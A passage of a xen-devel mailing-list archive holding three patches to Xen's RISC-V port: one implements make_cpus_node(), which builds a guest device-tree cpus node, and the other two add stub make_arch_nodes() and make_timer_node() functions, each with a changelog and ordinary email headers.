	KH3I38HT9177CI4wnGH+EY5/T9hjRZ2MP19XaAUXUCjD8k0EerXOSYabF7YMSHPicA9j6rZ9tOW
	VbZHeFZnkM+hJ/r5yeLHq2ZtE+QjjbWNiBEgbOu4yeRs8tEzs4VxmktsxY1B1ARtmckJzTMakMj
	7G4swNDHcVRBhKSrlVUSgh+EjgpxppwIe0ZQy2VMXekXyiz0I=
X-Received: by 2002:a05:6000:4310:b0:47d:ecaa:3f97 with SMTP id ffacd0b85a97d-47f6233db68mr17060164f8f.45.1784563226487;
        Mon, 20 Jul 2026 09:00:26 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 07/23] xen/riscv: implement make_cpus_node()
Date: Mon, 20 Jul 2026 17:59:48 +0200
Message-ID: <4d7eba7501a43727cdc30efcff56f422c1bc376d.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784563227-593C4CFC-F13F8CD8/10/73395122804
X-purgate-type: spam
X-purgate-size: 5924

Implement make_cpus_node() to create cpus node for a guest domain.

This function is going to be use by common dom0less code during
construction domain.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v6:
 - Update the two build_guest_isa_str() call sites for its new
  `const struct domain *d` signature.
 - Drop build/tools/fixdep from the patch.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v5:
- Drop Acked-by: Jan Beulich <jbeulich@suse.com> as extra changes were done
  because of the changed in prev. patch.
- Move isa_str allocation and construction out of arch_domain_create() and
  into make_cpus_node() as a local variable, since the string is only
  needed during FDT generation. Use a two-call build_guest_isa_str()
  pattern (size probe, then fill) with xvmalloc_array, and convert all
  post-allocation error returns to goto out so xvfree() runs on every path.
---
Changes in v4:
 - Update the comment in make_cpus_node() to match code style.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v3:
 - Add blank line above make_cpus_node() function definition.
 - Move 'unsigned int cpu' from function-level declarations into the for loop.
 - Drop 'uint32_t reg = cpu_to_fdt32(cpu)'; use fdt_property_cell(fdt, "reg", cpu)
   instead of fdt_property(fdt, "reg", &reg, sizeof(reg)) so byte-order adjustment
   is handled internally.
 - Add matching /* interrupt-controller */ start comment; fix end comment to
   /* end interrupt-controller */.
 - Update d->arch.guest_isa_str to ->isa_str in make_cpus_node() function.
---
Changes in v2:
 - s/u32/uint32_t for timebase_frequency local variable.
 - Drop +1 from BUILD_BUG_ON().
 - return fdt_end_node(fdt); instead of res at the end of the function.
---
---
 xen/arch/riscv/domain-build.c | 125 ++++++++++++++++++++++++++++++++++
 1 file changed, 125 insertions(+)

diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
index 5f6f4b6248a5..8be29d9331d2 100644
--- a/xen/arch/riscv/domain-build.c
+++ b/xen/arch/riscv/domain-build.c
@@ -3,8 +3,11 @@
 #include <xen/fdt-domain-build.h>
 #include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/libfdt/libfdt.h>
 #include <xen/sched.h>
+#include <xen/xvmalloc.h>
 
+#include <asm/cpufeature.h>
 #include <asm/current.h>
 #include <asm/guest_access.h>
 
@@ -48,3 +51,125 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
 
     return 0;
 }
+
+int __init make_cpus_node(const struct domain *d, struct kernel_info *kinfo)
+{
+    int res;
+    const struct dt_device_node *cpus = dt_find_node_by_path("/cpus");
+    uint32_t timebase_frequency;
+    bool frequency_valid;
+    void *fdt = kinfo->fdt;
+    char *isa_str;
+    int len;
+
+    dt_dprintk("Create cpus node\n");
+
+    if ( !cpus )
+    {
+        dprintk(XENLOG_ERR, "Missing /cpus node in the device tree?\n");
+        return -ENOENT;
+    }
+
+    frequency_valid = dt_property_read_u32(cpus, "timebase-frequency",
+                                           &timebase_frequency);
+
+    if ( (len = build_guest_isa_str(NULL, 0, d)) < 0 )
+        return len;
+
+    if ( !(isa_str = xvmalloc_array(char, len + 1)) )
+        return -ENOMEM;
+
+    if ( build_guest_isa_str(isa_str, len + 1, d) != len )
+    {
+        res = -EINVAL;
+        goto out;
+    }
+
+    res = fdt_begin_node(fdt, "cpus");
+    if ( res )
+        goto out;
+
+    res = fdt_property_cell(fdt, "#address-cells", 1);
+    if ( res )
+        goto out;
+
+    res = fdt_property_cell(fdt, "#size-cells", 0);
+    if ( res )
+        goto out;
+
+    if ( frequency_valid )
+        res = fdt_property_cell(fdt, "timebase-frequency", timebase_frequency);
+
+    for ( unsigned int cpu = 0; cpu < d->max_vcpus; cpu++ )
+    {
+        char buf[64];
+
+        snprintf(buf, sizeof(buf), "cpu@%u", cpu);
+        res = fdt_begin_node(fdt, buf);
+        if ( res )
+            goto out;
+
+        res = fdt_property_cell(fdt, "reg", cpu);
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "status", "okay");
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "compatible", "riscv");
+        if ( res )
+            goto out;
+
+        BUILD_BUG_ON((sizeof("riscv,") +
+                      sizeof_field(struct gstage_mode_desc, name)) >= sizeof(buf));
+        snprintf(buf, sizeof(buf), "riscv,%s", max_gstage_mode->name);
+        res = fdt_property_string(fdt, "mmu-type", buf);
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "riscv,isa", isa_str);
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "device_type", "cpu");
+        if ( res )
+            goto out;
+
+        /* Start of interrupt-controller */
+        res = fdt_begin_node(fdt, "interrupt-controller");
+        if ( res )
+            goto out;
+
+        res = fdt_property_string(fdt, "compatible", "riscv,cpu-intc");
+        if ( res )
+            goto out;
+
+        res = fdt_property_cell(fdt, "#interrupt-cells", 1);
+        if ( res )
+            goto out;
+
+        res = fdt_property(fdt, "interrupt-controller", NULL, 0);
+        if ( res )
+            goto out;
+
+        res = fdt_property_u32(fdt, "phandle", alloc_phandle(kinfo));
+        if ( res )
+            goto out;
+
+        /* End of interrupt-controller */
+        res = fdt_end_node(fdt);
+        if ( res )
+            goto out;
+
+        res = fdt_end_node(fdt);
+        if ( res )
+            goto out;
+    }
+
+    res = fdt_end_node(fdt);
+
+ out:
+    xvfree(isa_str);
+    return res;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366956.1616801 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPw-00065L-Ea; Mon, 20 Jul 2026 16:00:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366956.1616801; Mon, 20 Jul 2026 16:00:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPw-000653-An; Mon, 20 Jul 2026 16:00:32 +0000
Received: by outflank-mailman (input) for mailman id 1366956;
 Mon, 20 Jul 2026 16:00:30 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPu-0005uT-RY
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPu-00HTTt-7l
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460b-2eae-0a2a0a5409dd-0a2a4506bcec-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:30 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e461e-195a-0a2a45060019-d155802ce97d-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:30 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4955de8797cso7144655e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:30 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.27
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563230; x=1785168030; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=4zPPT5yH4g3srmqRgr/MmJI9wmQx9NN5+pUlXZUXu18=;
        b=Riy69QMQYpcNsro1P+lh9mHOcA6jK7D94GSwu3H04YHwUlZy29r+H1+GnE9OAScOLr
         wlUUOhY47w5s/YG96FvttyP2FGusvU2Rq4PU/CvEA4IMUGk8rqBuz+B5NCmRsf1fa+gy
         ihHZ3ir10bAMVh6TGeWvzOZ4Yy/yCpJYLt0UHb7PgeYxHTrBK38wOm6zcCr/gdJ1ZUAD
         zBVD2R70/+80jG9ESoFG+ySO5JEEYbgXG0bz/q44XbPIrYPNZbQLvmz89E3TPSQk0GsK
         clif6m8hqlp8SyG/YwOQ8hJGZ7YOaBohhpRtZCyVF0nIH27nICtYACVc+uyvSKPvVKx0
         IEaQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563230; x=1785168030;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=4zPPT5yH4g3srmqRgr/MmJI9wmQx9NN5+pUlXZUXu18=;
        b=jN07vRd/qWBkwfevQv08Ig305OJZD2pYqM+WlCdUYI/2O0UjhXTn4uJJi7WtO4MvnD
         MowrnnAjgTcMH1HAsjn6L9alv5QG7Y0sSI2133dLCpahdFEtBK9Cgjz7Nw3CRytmghim
         2lwuFr5r+8REbhC6IEiLPL2x62GCaIestPzgCVWdojPTfJKeYhp7Gk5/W34WsSVGeFRs
         UQk+FTDRbNvT6FMLaeycmG8qP8FJaAbsOHJ3Wg1vovb62IuLwWabfFOItOYKuLWfXLwA
         ddA1x1dcInttzwD7LJ0nCkyH018GY+KQACguUONYRihmy3R/XC/dd1zwb/6zYtQ1fkVk
         ZASg==
X-Gm-Message-State: AOJu0YwsPVyMXJMnlippn6QNXY3AwctF7KZOga6hD7VKESG3klI3cUMx
	NvIcQPq/avInyBtJWdFerd3U//huIW+hY2xszO3x6c/t9I7Q6PcBRGY1z68LNA==
X-Gm-Gg: AfdE7ck1f+mwUO9Voqud+l4+umTVm7UUeQhE3M67MpFbo0c90+F928T2WoOiaERGwin
	QNQ/k+Tx8gDIcnAFxGkz3NH+Lt3Jolk+xH/SrYHwNveuovwDeseu2zJnIfRxplB0wrF9c1ZdD3d
	PDpYATH+paA51ko6YYSl91VEtXpfJu8CKtQ1dmOf54/5iVL1Yo6pOroQoP8ZxNUvVMf+7UemhYD
	5jnPU2h2vNDYJZgAgjtm+Aiq8SanE+YYEaLks2ttVYEz0cZsWBQ1MRxvG4na+/ZFFJ4cXr5lLHY
	w1JPyipMmzaY4MuH5G3WyJKLOgtbeJfCr9GjoOkSqrSua99e9ZxcaSX1tpHoW9sheXpWuK7W6My
	24optnGcQYvOnRF/rRGVpMQ/eMwGhbp3S/9+POgCljF95HxJ8goL+3WZpurUSBgzkanCUdG8RBr
	WeODigMeo0LTDCOCSciMDRjMVNwPuuEhdACZ5RtvhWTPnZaKM=
X-Received: by 2002:a05:600c:4f86:b0:495:3e81:76fa with SMTP id 5b1f17b1804b1-4954e1e065cmr134233615e9.15.1784563229340;
        Mon, 20 Jul 2026 09:00:29 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 09/23] xen/riscv: implement make_arch_nodes()
Date: Mon, 20 Jul 2026 17:59:50 +0200
Message-ID: <0a9656edf379bdafffef71fa3ae176ea62dfe4c2.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784563230-F580D77B-47B79E7E/10/73395122804
X-purgate-type: spam
X-purgate-size: 1386

No RISC-V-specific nodes need to be created at the moment,
so make_arch_nodes() is implemented to simply return 0.

It is placed in dom0less-build.c as make_arch_nodes() is
only used in the dom0less code path. In the future, it will
be extended to create an emulated UART node.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Drop "Add" before Acked-by above the footer.
---
Change in v4:
 - Add lost Acked-by.
---
Changes in v3:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v2:
 - Update the commit message.
---
---
 xen/arch/riscv/dom0less-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index a683972e9235..4cc00012aa8d 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -2,10 +2,18 @@
 
 #include <xen/bootfdt.h>
 #include <xen/device_tree.h>
+#include <xen/fdt-kernel.h>
 #include <xen/init.h>
 
 #include <asm/p2m.h>
 
+int __init make_arch_nodes(struct kernel_info *kinfo)
+{
+    /* No RISC-V specific nodes need to be made, at the moment. */
+
+    return 0;
+}
+
 int __init arch_parse_dom0less_node(struct dt_device_node *node,
                                     struct boot_domain *bd)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366958.1616805 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPx-00069U-0m; Mon, 20 Jul 2026 16:00:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366958.1616805; Mon, 20 Jul 2026 16:00:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPw-00068b-Ot; Mon, 20 Jul 2026 16:00:32 +0000
Received: by outflank-mailman (input) for mailman id 1366958;
 Mon, 20 Jul 2026 16:00:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPv-0005yR-64
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPu-00HTTh-Ix
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:30 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4612-e002-0a2a0a5209dd-0a2a450abd5a-30
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:30 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e461e-f2d2-0a2a450a0019-d155dd2dd0bf-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:30 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-4799b3f7c83so7492115f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:30 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.26
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563230; x=1785168030; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KhEGDhlXrwyiseqyPc30kooLsaCELsXAQVmwDU9aLvI=;
        b=Wvv0tZfdRLS00CiA2IFBQuXPXujQeOgP+t87r3c+LaP3lhs/KB3CyP3jUxER+f0rIm
         T1ak5L9GvfPtYO4Pwn+AdqALpfRGzhKDnAurZJXfVv+GmJRkeCwZGqDiVySsEFz/LCS/
         ft7ZI3sHxMARm4CgMZmx2ElTLweqT1n9Ccmr1EiZg3aShh2vtNaBb+0bqLdMGjFjYhCU
         YJztXbdePtJ9PyIdnsCe84qMAfDDxxyKNEIxBCgWHLUoIgZ48CS/toID+2ge+jiUrAc4
         Zi7qXqYZdag3eXBu8D6J6wX3+zgrqGFP52HFEQyHpJoCO2ANo2UBmUIwI3yMeMTHgE+6
         GhCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563230; x=1785168030;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=KhEGDhlXrwyiseqyPc30kooLsaCELsXAQVmwDU9aLvI=;
        b=OQImWkp2Wd9UDMPz0d4lxZrVcm6BhgFzyg6/er0nNFWXFcWi8CC0LtNqm24RyvYkB3
         axRDZpF0Nt9eG19ys4yr9GdpE65bopZ5uFjh+sPbgncnY4kUoVyPnaJxanyt2uKGsAsp
         09zEAtO+04an1rKicvBxd2HD56Lex6DdUTJKAVNjAvWBiy7uGPOOtfxH9hA5ROdgeiGz
         2oduXn5KyReRpXXLFHN08/vfAWXGXfJfvNLANComT4qKMAolp00LjkCPMF2IOmalmNwS
         JCyi6t3vpQ4P+xls1NObSOLpfkSlp/C4XR8lt4wzO9BXDPURKSzJrDGCeWrIzyTrbZbA
         ghiQ==
X-Gm-Message-State: AOJu0YzjxvxhqQo7GQlKnP7wLT35BaMlmjVF+m0iK4ShM75CFb+B610b
	SBSWrHUabbdQvR5R5S2+u4kV9teGIOyJaH7F663Y3YtmAEVtTtp0CxWp0YrxPw==
X-Gm-Gg: AR+sD120bFkkWT2JUZ8s6X86xdtaTSLNjtrK3/SzvOREPvM3aN5F288sJ0VYSp7gZx2
	BkTD4wlR11RG5RKPhtyWMudgdMciCsp4cvMgNZBarW0465vrgaqoU1QC032Ns3iwLhSAwaPawlX
	iYHhS7EtgvbayAAank6JyddWi+Jq9pXoWJASY4UAf+2zDfgR5xlvjz32PSBlWUcAA7tPNBX6EFT
	ARWpbxHg3Lcsn+oWCV61QZSS0lblvX4YPztrtASfrcLbHhNFPuJJmvEFYTDthWD7MiDn6tIxBLX
	QTqAqEGP67jp+YR4cv+3/GkikkdlQpAcTkCaiG86TipfsiodWM6r7mqOsYusrPDPkATCUjq83uG
	MlPcQUTarw/ve2erJa7HCRCGPAz2fO5KPn5tvqhBi00JqXQMbADXy5rPeUEWzMKMrwqu5l9HGp3
	Sl9GeXovmfxiv2ni8Vd28wGM103bNTYC8I6t226TRpgf4nyeo=
X-Received: by 2002:a05:6000:4b03:b0:47f:4b20:e616 with SMTP id ffacd0b85a97d-47f622fccc2mr16913038f8f.8.1784563227764;
        Mon, 20 Jul 2026 09:00:27 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 08/23] xen/riscv: implement make_timer_node()
Date: Mon, 20 Jul 2026 17:59:49 +0200
Message-ID: <a52f788d208b6d1e0eb335104d1795a0606be45a.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784563230-59BC0CFC-C7BCC07A/10/73395122804
X-purgate-type: spam
X-purgate-size: 1649

Generally, in DT for RISC-V there is a document which describes a timer
node (riscv,timer.yaml or sifive,clint.yaml), but the Linux timer driver
is declared with TIMER_OF_DECLARE(riscv_timer, "riscv", ...).
It matches the CPU node (compatible "riscv"), not the timer node itself.
It then calls of_find_compatible_node(NULL, NULL, "riscv,timer") only to
read the optional riscv,timer-cannot-wake-cpu property.

Since Xen does not care about that property for now, make_timer_node() is
implemented to return 0, as no timer node needs to be created for RISC-V
guests.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3-5:
 - Nothing changed. Only rebase.
---
Changes in v2:
 - Acked-by: Jan Beulich <jbeulich@suse.com>
 - Update the commit message.
---
---
 xen/arch/riscv/domain-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
index 8be29d9331d2..6b14dce9c0a6 100644
--- a/xen/arch/riscv/domain-build.c
+++ b/xen/arch/riscv/domain-build.c
@@ -3,6 +3,7 @@
 #include <xen/fdt-domain-build.h>
 #include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/fdt-kernel.h>
 #include <xen/libfdt/libfdt.h>
 #include <xen/sched.h>
 #include <xen/xvmalloc.h>
@@ -173,3 +174,10 @@ int __init make_cpus_node(const struct domain *d, struct kernel_info *kinfo)
     xvfree(isa_str);
     return res;
 }
+
+int __init make_timer_node(const struct kernel_info *kinfo)
+{
+    /* There is no need for timer node for RISC-V. */
+
+    return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366959.1616817 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPy-0006Uz-C4; Mon, 20 Jul 2026 16:00:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366959.1616817; Mon, 20 Jul 2026 16:00:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPy-0006TY-2t; Mon, 20 Jul 2026 16:00:34 +0000
Received: by outflank-mailman (input) for mailman id 1366959;
 Mon, 20 Jul 2026 16:00:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPw-00064Z-C3
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPv-00HTTt-Oq
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:31 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e461b-2eae-0a2a0a5409dd-0a2a4509ec1a-8
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:31 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e461f-be1a-0a2a45090019-d155dd2ae865-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:31 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f6609c657so1134819f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:31 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.29
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
